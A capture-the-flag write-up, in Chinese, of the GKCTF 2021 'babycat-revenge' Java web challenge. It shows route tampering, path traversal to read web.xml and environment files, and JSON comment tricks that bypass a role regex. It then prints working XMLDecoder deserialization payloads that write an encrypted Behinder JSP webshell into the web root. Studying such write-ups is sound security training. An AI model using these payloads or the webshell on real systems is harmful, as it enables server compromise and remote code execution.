# [GKCTF_2021]babycat-revenge

(第一道 javaweb,搞了好久)

image-20250314182903629

登录框,不是弱密码,先抓包看看:

image-20250314182939988

通过 json 数据进行传输,且是 login,可以试试看可以不可以直接改为 register 路由试试,

image-20250314183035108

猜测是正确的,注册成功

image-20250314183114602

登陆成功

image-20250314183130284

有上传和下载,上传不能动,得是 admin,我们得获取 admin 的权限,转一下下载的包

image-20250314183225021

出现 file,直接想到目录穿越,有路径的都可以想到文件穿梭,这时候就得知道 war 文件的文件目录了,

image-20250314183354189

在 web.xml 文件里面有 Class 文件的存放的地方,就可以先读 web.xml 试试

../../WEB-INF/web.xml

image-20250314185706386

获取了好多 Class 类,可以去一个一个下下来看看,最重要的应该就是注册的代码了,因为需要 admin 的身份,没有 cookie 可以变化,只有 sessionid 是不可以通过 jwt 修改身份的,我们就可以合理怀疑是注册时就已经把身份确定了,又由于之前是注册过的,只有两个键值对,所以肯定是有别的东西没有注册的给的默认 guest,通过文件下载下载文件反编译一下,发现核心的登陆代码:

image-20250314190050106

这里就可以确定是 role 这个值,这下就是怎么绕过这个循环(这个循环时寻找最后一个匹配的值进行替换)了

这个正则表达式就是:

\"role\":\"(.*?)\"

就是:

"role":"(可以是任何字符)"

我们需要的就是 admin

有两种方法:

第一个就是用 /**/ 绕过正则匹配,再用同种键,后面的值会覆盖之前的值

我可以直接

{"username":"admin1","password":"admin1","role":"admin","role"/**/:"admin"}

这样他会匹配到第一个值,将其变成 guest,但是后面的 admin 会覆盖其的值,

接着 gson 解析 json,上面也说了键值一样的数据解析时后面的会覆盖前面的,再加上 /**/ 是注释符会被忽略,所以解析出来的 role 就是 admin

第二种将后面的 role 注释掉,将其修改了之后还是不会影响我们的值

{"username":"admin1","password":"admin1","role":"admin1"/*,"role":"test"*/}

现在就是 upload 的代码审计了:

package com.web.servlet;
import com.web.dao.Person;
import com.web.util.tools;
import java.io.BufferedReader;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Iterator;
import java.util.List;
import javax.servlet.ServletException;
import javax.servlet.annotation.MultipartConfig;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.commons.fileupload.FileItem;
import org.apache.commons.fileupload.disk.DiskFileItemFactory;
import org.apache.commons.fileupload.servlet.ServletFileUpload;
@MultipartConfig
public class uploadServlet extends HttpServlet {
   protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
      String admin = "admin";
      Person user = (Person)req.getSession().getAttribute("user");
      System.out.println(user.getRole());
      if(!admin.equals(user.getRole())) {
         req.setAttribute("error", "<script>alert(\'admin only\');history.back(-1)</script>");
         req.getRequestDispatcher("../WEB-INF/error.jsp").forward(req, resp);
      } else {
         ArrayList fileNames = new ArrayList();
         tools.findFileList(new File(System.getenv("CATALINA_HOME") + "/webapps/ROOT/WEB-INF/upload/"), fileNames);
         req.setAttribute("files", fileNames);
         System.out.println(fileNames);
         req.getRequestDispatcher("../WEB-INF/upload.jsp").forward(req, resp);
      }
      req.getRequestDispatcher("../WEB-INF/upload.jsp").forward(req, resp);
   }
   protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
      String admin = "admin";
      Person user = (Person)req.getSession().getAttribute("user");
      System.out.println(user.getRole());
      if(!admin.equals(user.getRole())) {
         resp.sendRedirect("/home");
      } else {
         if(!ServletFileUpload.isMultipartContent(req)) {
            req.setAttribute("error", "<script>alert(\'something wrong\');history.back(-1)</script>");
            req.getRequestDispatcher("../WEB-INF/error.jsp").forward(req, resp);
         }
         DiskFileItemFactory factory = new DiskFileItemFactory();
         factory.setSizeThreshold(3145728);
         factory.setRepository(new File(System.getProperty("java.io.tmpdir")));
         ServletFileUpload upload = new ServletFileUpload(factory);
         upload.setFileSizeMax(41943040L);
         upload.setSizeMax(52428800L);
         String uploadPath = System.getenv("CATALINA_HOME") + "/webapps/ROOT/WEB-INF/upload/";
         try {
            List ex = upload.parseRequest(req);
            if(ex != null && ex.size() > 0) {
               Iterator var9 = ex.iterator();
               while(var9.hasNext()) {
                  FileItem item = (FileItem)var9.next();
                  if(!item.isFormField()) {
                     String fileName = item.getName();
                     String ext = fileName.substring(fileName.lastIndexOf(".")).replace(".", "");
                     String name = fileName.replace(ext, "");
                     if(!checkExt(ext) && !checkContent(item.getInputStream())) {
                        String filePath = uploadPath + File.separator + name + ext;
                        File storeFile = new File(filePath);
                        item.write(storeFile);
                        req.setAttribute("error", "upload success!");
                     } else {
                        req.setAttribute("error", "upload failed");
                        req.getRequestDispatcher("../WEB-INF/upload.jsp").forward(req, resp);
                     }
                  }
               }
            }
         } catch (Exception var16) {
            req.setAttribute("error", "<script>alert(\'something wrong\');history.back(-1)</script>");
         }
         req.getRequestDispatcher("../WEB-INF/upload.jsp").forward(req, resp);
      }
   }
   private static boolean checkExt(String ext) {
      boolean flag = false;
      String[] extWhiteList = new String[]{"jpg", "png", "gif", "bak", "properties", "xml", "html", "xhtml", "zip", "gz", "tar", "txt"};
      if(!Arrays.asList(extWhiteList).contains(ext.toLowerCase())) {
         flag = true;
      }
      return flag;
   }
   private static boolean checkContent(InputStream item) throws IOException {
      boolean flag = false;
      InputStreamReader input = new InputStreamReader(item);
      BufferedReader bf = new BufferedReader(input);
      String line = null;
      StringBuilder sb = new StringBuilder();
      while((line = bf.readLine()) != null) {
         sb.append(line);
      }
      String content = sb.toString();
      String[] blackList = new String[]{"Runtime", "exec", "ProcessBuilder", "jdbc", "autoCommit"};
      for(int i = 0; i < blackList.length; ++i) {
         if(content.contains(blackList[i])) {
            flag = true;
         }
      }
      return flag;
   }
}

在:

public static void getConfig() throws FileNotFoundException {
    HashMap map;
    Object obj = new XMLDecoder(new FileInputStream(System.getenv("CATALINA_HOME") + "/webapps/ROOT/WEB-INF/db/db.xml")).readObject();
    if ((obj instanceof HashMap) && (map = (HashMap) obj) != null && map.get("url") != null) {
        driver = (String) map.get("driver");
        url = (String) map.get("url");
        username = (String) map.get("username");
        password = (String) map.get("password");
    }
}

其中 System.getenv (“CATALINA_HOME”) 可以使用前面的文件包含读取 /proc/self/environ 得到为 /usr/local/tomcat。因此可以尝试将 db.xml 覆盖为恶意代码后使用注册业务触发 XMLDecoder 反序列化。上传业务中还对上传的内容执行了检测。

private static boolean checkContent(InputStream item) throws IOException {
        String[] blackList;
        boolean flag = false;
        BufferedReader bf = new BufferedReader(new InputStreamReader(item));
        StringBuilder sb = new StringBuilder();
        while (true) {
            String line = bf.readLine();
            if (line == null) {
                break;
            }
            sb.append(line);
        }
        String content = sb.toString();
        for (String str : new String[]{"Runtime", "exec", "ProcessBuilder", "jdbc", "autoCommit"}) {
            if (content.contains(str)) {
                flag = true;
            }
        }
        return flag;
    }
}

上传一下:

image-20250316150824943

因为题目提示了 PrintWriter, 这里就用 java.io.PrintWriter

payload:

<?xml version="1.0" encoding="UTF-8"?> 
<java version="1.8.0_192" class="java.beans.XMLDecoder"> 
<object class="java.io.PrintWriter"> 
<string>/usr/local/tomcat/webapps/ROOT/static/shell.jsp</string><void
method="println">
<string>
<![CDATA[<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>]]>
</string>
</void><void method="close"/>
</object>
</java>

payload2:

<?xml version="1.0" encoding="utf-8"?>
<java class="java.beans.XMLDecoder">
    <object class="java.io.PrintWriter">
        <string>/usr/local/tomcat/webapps/ROOT/static/shell.jsp</string>
        <void method="println">
            <string><![CDATA[冰蝎内shell.jsp的内容]]></string>
        </void>
        <void method="close"/>
    </object>
</java>

上传成功之后我们重新登录一次或者随便注册一个账号使得他触发漏洞,然后用冰蝎连接,密码默认为 rebeyond,连上以后看到文件下有个 readflag 直接执行即可拿到 flag

image-20250316150952656

image-20250316151004965

获得 flag

参考链接:[每日一题 GKCTF 2021] babycat-revenge-CSDN 博客